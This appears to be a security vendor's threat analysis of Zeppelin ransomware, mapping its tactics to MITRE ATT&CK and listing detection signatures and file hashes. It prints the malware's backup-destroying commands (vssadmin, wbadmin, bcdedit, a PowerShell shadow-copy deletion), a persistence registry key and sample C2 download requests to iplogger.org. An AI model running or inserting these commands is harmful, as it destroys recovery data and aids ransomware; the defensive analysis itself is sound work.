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Zeppelin Ransomware Analysis, Simulation, and Mitigation

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On August 12, 2022, The Cybersecurity and Infrastructure Security Agency (CISA) released a joint advisory on Zeppelin ransomware [1]. Zeppelin ransomware group uses the Ransomware-as-a-Service business model. Threat actors using Zeppelin ransomware target various industries such as defense, education, manufacturing, IT, and healthcare.

Picus Threat Library already had attack simulations for earlier variants of Zeppelin ransomware. Picus Labs added attack simulations for newer variants to Picus Threat Library, and you can test your security controls against Zeppelin ransomware attacks with Picus.

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Zeppelin Ransomware Group

Zeppelin ransomware group, also known as Vega or VegaLocker, started its operation in early 2019 with malvertisements (malware advertisements) targeting Russian-speaking users. In their later ransomware campaigns, Zeppelin started to avoid hosts based in Russia and ex-USSR countries. 

Zeppelin developed various ransomware variants such as Vega, Jamper, Storm, and Buran and distributed them using the Ransomware-as-a-Service business model.  Although variants were based on the same code and had similar features, each variant was distinguishably different. The latest variant Zeppelin is highly configurable and can be deployed in different forms such as executable, DLL, or wrapped in PowerShell loader. Similar to malvertisements, threat actors use watering hole techniques and post their malicious samples on popular sites like Pastebin.

Zeppelin ransomware uses "double extortion method" and exfiltrates its victim's sensitive data to pressure its victims to pay the ransom. 

Figure 1: Ransom note after Zeppelin infection [2]

TTPs Used by Zeppelin Ransomware Group

Zeppelin ransomware group uses the following tactics, techniques, and procedures (TTPs) in the MITRE ATT&CK framework:

Tactic: Initial Access

  • T1133 External Remote Services

Zeppelin threat actors exploit remote desktop protocol to infiltrate their target's network.

  • T1190 Exploit Public Facing Application

Zeppelin threat actors are known to exploit vulnerabilities found in SonicWall to gain initial access. Defenders are advised to patch their SonicWall products without delay.

  • T1566 Phishing

Zeppelin group crafts phishing emails and fake advertisements with malicious links and attachments. These phishing materials aim to trick target users into executing malicious payloads and infect target networks.

Tactic: Execution      

  • T1059 Command and Scripting Interpreter

Zeppelin ransomware uses Windows Command Prompt (cmd.exe) to execute its malicious command. Also, a batch file named "temp001.bat" deletes volume shadow copies to inhibit system recovery.

bcdedit.exe bcdedit /set {default} bootstatuspolicy ignoreallfailures 

bcdedit.exe bcdedit /set {default} recoveryenabled no

wbadmin.exe wbadmin delete catalog -quiet 

wbadmin.exe wbadmin delete systemstatebackup 

wbadmin.exe wbadmin delete systemstatebackup -keepversions:0

wbadmin.exe wbadmin delete backup 

wmic.exe wmic shadowcopy delete 

vssadmin.exe vssadmin delete shadows /all /quiet

Example 1: Commands executed by "temp001.bat" file 

  • T1059.001 PowerShell

Zeppelin ransomware uses PowerShell to bypass execution policy and delete volume shadow copies using the following command.

powershell.exe -ExecutionPolicy ByPass -Command "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}"

Example 2: Bypassing execution policy via PowerShell

Tactic: Persistence & Privilege Escalation

  • T1547.001 Registry Run Keys / Startup Folder

Zeppelin ransomware establishes persistence by adding malicious binaries to registries below. This malicious action allows ransomware to be executed each time a user logs in to an infected host. Also, the UAC prompt option of the registry key is set to run with elevated privileges.

HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN

Example 3: Registry key used by Zeppelin to establish persistence

Tactic: Defense Evasion

  • T1027 Obfuscated Files or Information

Strings in Zeppelin binaries are encrypted with a 32-byte RC4 key. Also, Zeppelin uses a Delphi packer to pack malicious files. These actions make detecting and analyzing malicious files difficult for defenders.

  • T1070.004 File Deletion

After a successful attack, Zeppelin ransomware deletes its artifacts to avoid further detection and investigation.

  • T1497.003 Virtualization/Sandbox Evasion: Time Based Evasion

Zeppelin ransomware uses the sleep function to identify whether the infected host is a virtual machine. If the sleep function and timestamps do not match, it does not execute its malicious functions.

Tactic: Discovery

  • T1012 Query Registry

Zeppelin ransomware reads the following registry to gain information about the infected host.

Viewing the installation date of the operating system

HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION"; Key: "INSTALLDATE


Viewing the computer name

HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME


Viewing support languages

HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE

HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE


Viewing Windows Trust Settings

HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING


Viewing the cryptographic machine GUID of the infected system

HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY"; Key: "MACHINEGUID"

Example 4: Registries queried by Zeppelin ransomware

Tactic: Command and Control

  • T1071.001 Web Protocols

Zeppelin ransomware communicates with its command and control server via shortened URLs addressing its C2 server. 

GET /1DLTt7.gz HTTP/1.1

Host: iplogger.org

User-Agent: Zeppelin

Referer: 24D-A86-273

—---------------------------—

GET /14xAa7.tar HTTP/1.1

Host: iplogger.org

User-Agent: Imposter

Referer: 106-9DB-11F

Example 5: Sample GET requests sent by infected machines

Tactic: Impact

  • T1486 Data Encrypted for Impact

Zeppelin ransomware encrypts its victims' files and directories and demands ransom for the decryption key. Some variants of Zeppelin ransomware do not track infected hosts and encrypt files multiple times.

  • T1490 Inhibit System Recovery

Zeppelin ransomware deletes volume shadow copies and system state backups to prevent its victims from recovering encrypted files.

wmic shadowcopy delete 

bcdedit /set {default} recoveryenabled no

bcdedit /set {default} bootstatuspolicy ignoreallfailures 

wbadmin delete backup

wbadmin delete catalog -quiet

wbadmin delete systemstatebackup

vssadmin delete shadows /all /quiet

Example 6: Commands used by Zeppelin for T1490 Inhibit System Recovery

How Picus Helps Simulate Zeppelin Ransomware Attacks?

We also strongly suggest simulating Zeppelin ransomware attacks to test the effectiveness of your security controls against ransomware attacks using the Picus' The Complete Security Control Validation Platform. You can test your defenses against Zeppelin ransomware and hundreds of other ransomware such as Conti, DarkSide, and REvil (Sodinokibi) within minutes with a 14-day free trial of the Picus Platform.

Picus Threat Library includes the following threats for Zeppelin ransomware

Threat ID

Action Name

Attack Module

21938

Zeppelin Ransomware Email Threat

Email Infiltration (Phishing)

90105

Zeppelin Ransomware Download Threat

Network Infiltration

 


Moreover, Picus Threat Library contains 150+ threats containing 1500+ web application and vulnerability exploitation attacks in addition to 3500+ endpoint, malware, email, and data exfiltration threats as of today.

Picus also provides actionable mitigation content. Picus Mitigation Library includes prevention signatures to address Zeppelin ransomware and other ransomware attacks in preventive security controls. Currently, Picus Labs validated the following signatures for Zeppelin:

Security Control

Signature ID

Signature Name

Check Point NGFW

0D6B91FA4

HEUR:Trojan-Ransom.Win32.Generic.TC.fumc

Check Point NGFW

0DA87F6CE

HEUR:Trojan-Ransom.Win32.Generic.TC.fukl

Check Point NGFW

0B991B00C

HEUR:Trojan.Win32.Agent.gen.TC.ampqe

Check Point NGFW

0A8D49747

HEUR:Trojan.Win32.DelShad.gen.TC.ako

Check Point NGFW

0F501405D

HEUR:Trojan-Ransom.Win32.Generic.TC.fuka

Check Point NGFW

08C45EEAF

HEUR:Trojan.Win32.Agent.gen.TC.ampqk

Check Point NGFW

0F26AE42B

Trojan-Ransom.Win32.Vega.df.TC.c

Fortigate AV

8156376

W32/Buran.H!tr.ransom

Fortigate AV

8187637

W32/AI.Pallas.Suspicious

McAfee

0x4840c900

MALWARE: Malicious File Detected by GTI

Start simulating emerging threats today and get actionable mitigation insights with a  14-day free trialof Picus' The Complete Security Control Validation Platform.

Indicators of Compromises

SHA-256

MD5

SHA-1

001938ed01bfde6b100927ff8199c65d1bff30381b80b846f2e3fe5a0d2df21d

981526650af8d6f8f20177a26abb513a

4fee2cb5c98abbe556e9c7ccfebe9df4f8cde53f

a42185d506e08160cb96c81801fbe173fb071f4a2f284830580541e057f4423b

c25d45e9bbfea29cb6d9ee0d9bf2864d

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183b6b0c90c1e0276a2015752344a4cf

1cb5e8132302b420af9b1e5f333c507d8b2a2441

a2a9385cbbcfacc2d541f5bd92c38b0376b15002901b2fd1cc62859e161a8037

9349e1cc3de7c7f6893a21bd6c3c4a6b

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c8f75487d0d496a3746e6c81a5ecc6dc

4b91a91a98a2f0128c80f8ceeef0f5d293adf0cd

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477eedb422041385e59a4fff72cb97c1

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1e3c5a0aa079f8dfcc49cdca82891ab78d016a919d9810120b79c5deb332f388

5841ef35aaff08bb03d25e5afe3856a2

ffd228b0d7afe7cab4e9734f7093e7ba01c5a06e

347f14497df4df73bc414f4e852c5490b12db991a4b3811712bac7476a3f1bc9

d6c4b253ab1d169cf312fec12cc9a28f

0f47c279fea1423c7a0e7bc967d9ff3fae7a0de8

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37c320983ae4c1fd0897736a53e5b0481edb1d1d91b366f047aa024b0fc0a86e

bc6c991941d9afbd522fa0a2a248a97a

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1da1c0115caca5ebf064380eb7490041

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7a296f7c1ac4aeee18d4c23476735be7

c13542310f7a4e50a78247fc7334096ca09c5d7f

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21807d9fcaa91a0945e80d92778760e7856268883d36139a1ad29ab91f9d983d

291de974e5cbe5e3d47e3d17487e027f

def93f18aaf146fe8f3c4f9a257364f181197608

0d22d3d637930e7c26a0f16513ec438243a8a01ea9c9d856acbcda61fcb7b499

99d59c862a082b207a868e409ce2d97c

908a9026d61717b5fa29959478a9bd939da9206f

6fbfc8319ed7996761b613c18c8cb6b92a1eaed1555dae6c6b8e2594ac5fa2b9

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1862f063c30cd02cfea6070d3dba41ac5eee2a35

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0a1cd4efda7543cec406a6822418daf6

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9c13ab7b79aec8dc02869999773cd4b2

4b4d865132329e0dd1d129e85fc4fa9ad0c1d206 

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51104215a618a5f56ad9c884d6832f79

801580a46f9759ceeeebbce419d879e2ed6943fe

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935f54b6609c5339001579e96dc34244

a809327d39fab61bfcfac0c97b1d4b3bfb9a2cfe

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ba681db97f283c2e784d9bb4969b1f5a

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746f0c02c832b079aec221c04d2a4eb790287f6d10d39b95595a7df4086f457f

c1ab7b68262b5ab31c45327e7138fd25

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b191a004b6d8a706aba82a2d1052bcb7bed0c286a0a6e4e0c4723f073af52e7c

f818938b987236cdd41195796b4c1fb5

bfed40f050175935277c802cbbbce132f44c06ec

774ef04333c3fb2a6a4407654e28c2900c62bd202ad6e5909336eb9bc180d279

9c13ab7b79aec8dc02869999773cd4b2

4b4d865132329e0dd1d129e85fc4fa9ad0c1d206

e22b5062cb5b02987ac32941ebd71872578e9be2b8c6f8679c30e1a84764dba7

1d6ce900a8b2bf19fc993cad4f145fa8

beac6854bcb4757a0e1d0caaf24275ac6c619d84

References

[1] "#StopRansomware: Zeppelin Ransomware." [Online]. Available: https://www.cisa.gov/uscert/ncas/alerts/aa22-223a. [Accessed: Aug. 12, 2022]

[2] L. Abrams, "Zeppelin Ransomware Targets Healthcare and IT Companies," BleepingComputer, Dec. 11, 2019. [Online]. Available: https://www.bleepingcomputer.com/news/security/zeppelin-ransomware-targets-healthcare-and-it-companies/. [Accessed: Aug. 12, 2022]

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